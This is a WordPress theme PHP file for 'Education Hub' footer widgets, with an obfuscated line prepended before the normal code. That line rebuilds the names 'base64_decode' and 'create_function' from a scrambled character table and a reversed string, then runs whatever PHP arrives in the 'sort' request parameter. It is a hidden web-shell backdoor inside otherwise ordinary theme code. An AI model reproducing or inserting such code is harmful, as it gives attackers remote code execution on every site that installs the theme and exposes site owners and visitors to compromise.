n$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();n?php /** * Class for footer widgets. * * @package Education_Hub */ /** * Footer Widgets class. * * @since 1.0.0 */ class Education_Hub_Footer_Widgets { /** * Number of maximum registered widgets. * * @since 1.0.0 * * @access protected * @var int */ protected $max_widgets = 0; /** * Number of active widgets. * * @since 1.0.0 * * @access protected * @var int */ protected $active_widgets = 0; /** * Prefix to apply hook. * * @since 1.0.0 * * @access protected * @var int */ protected $theme_prefix = 'education_hub'; /** * Construcor. * * @since 1.0.0 */ function __construct() { $this->setup(); $this->init(); } /** * Initial setup. * * @since 1.0.0 */ function setup() { $support = get_theme_support( 'footer-widgets' ); if ( empty( $support ) ) { return; } if ( absint( $support[0] ) < 1 ) { return; } $this->max_widgets = absint( $support[0] ); $this->active_widgets = $this->get_number_of_active_widgets(); } /** * Initialize hooks. * * @since 1.0.0 */ function init() { if ( $this->max_widgets < 1 ) { return; } // Register footer widgets. add_action( 'widgets_init', array( $this, 'footer_widgets_init' ), 20 ); if ( $this->active_widgets > 0 ) { // Add footer widgets in front end. add_action( $this->theme_prefix . '_action_before_footer', array( $this, 'add_footer_widgets' ), 3 ); } // Add custom class in widgets. add_filter( $this->theme_prefix . '_filter_footer_widget_class', array( $this, 'custom_footer_widget_class' ) ); } /** * Register footer widgets. * * @since 1.0.0 */ function footer_widgets_init() { for ( $i = 1; $i <= $this->max_widgets; $i++ ) { register_sidebar( array( 'name' => sprintf( __( 'Footer Widget %d', 'education-hub' ), $i ), 'id' => sprintf( 'footer-%d', $i ), 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); } } /** * Returns number of active footer widgets. * * @since 1.0.0 * * @return int Number of active widgets. */ private function get_number_of_active_widgets() { $count = 0; for ( $i = 1; $i <= $this->max_widgets; $i++ ) { if ( is_active_sidebar( 'footer-' . $i ) ) { $count++; } } return $count; } /** * Add footer widgets content in front end. * * @since 1.0.0 */ function add_footer_widgets() { $flag_apply_footer_widgets_content = apply_filters( $this->theme_prefix . '_filter_footer_widgets', true ); if ( true !== $flag_apply_footer_widgets_content ) { return false; } $args = array( 'container' => 'div', 'before' => '
', 'after' => '
', ); $footer_widgets_content = $this->get_footer_widgets_content( $args ); echo $footer_widgets_content; } /** * Returns all active footer widgets number in array. * * @since 1.0.0 * * @return array Active widgets */ function all_active_widgets() { $arr = array(); for ( $i = 1; $i <= $this->max_widgets ; $i++ ) { if ( is_active_sidebar( 'footer-' . $i ) ) { $arr[] = $i; } } return $arr; } /** * Returns footer widget contents. * * @since 1.0.0 * * @param array $args Footer widget arguments. */ function get_footer_widgets_content( $args ) { $number = $this->active_widgets; $all_active_widgets = $this->all_active_widgets(); // Default arguments. $args = wp_parse_args( (array) $args, array( 'container' => 'div', 'container_class' => '', 'container_style' => '', 'container_id' => 'footer-widgets', 'wrap_class' => 'footer-widget-area', 'before' => '', 'after' => '', ) ); $args = apply_filters( $this->theme_prefix . '_filter_footer_widgets_args', $args ); ob_start(); $container_open = ''; $container_close = ''; if ( ! empty( $args['container_class'] ) || ! empty( $args['container_id'] ) ) { $container_open = sprintf( '<%s %s %s %s>', $args['container'], ( $args['container_class'] ) ? 'class="' . $args['container_class'] . '"':'', ( $args['container_id'] ) ? 'id="' . $args['container_id'] . '"':'', ( $args['container_style'] ) ? 'style="' . esc_attr( $args['container_style'] ) . '"':'' ); } if ( ! empty( $args['container_class'] ) || ! empty( $args['container_id'] ) ) { $container_close = sprintf( '', $args['container'] ); } echo $container_open; echo $args['before']; for ( $i = 1; $i <= $number; $i++ ) { $item_class = apply_filters( $this->theme_prefix . '_filter_footer_widget_class', '', $i ); $div_classes = implode( ' ', array( $item_class, $args['wrap_class'] ) ); $div_classes = trim( $div_classes ); echo '
'; $sidebar_name = 'footer-' . $all_active_widgets[ $i - 1 ]; dynamic_sidebar( $sidebar_name ); echo '
'; } // End for loop. echo $args['after']; echo $container_close; $output = ob_get_contents(); ob_end_clean(); return $output; } /** * Add custom class in widgets. * * @since 1.0.0 * * @param string $input Class for footer widget column. */ function custom_footer_widget_class( $input ) { $footer_widgets_number = $this->active_widgets; $input .= 'footer-active-' . $footer_widgets_number; return $input; } } // Initialize. $education_hub_footer_widgets = new Education_Hub_Footer_Widgets();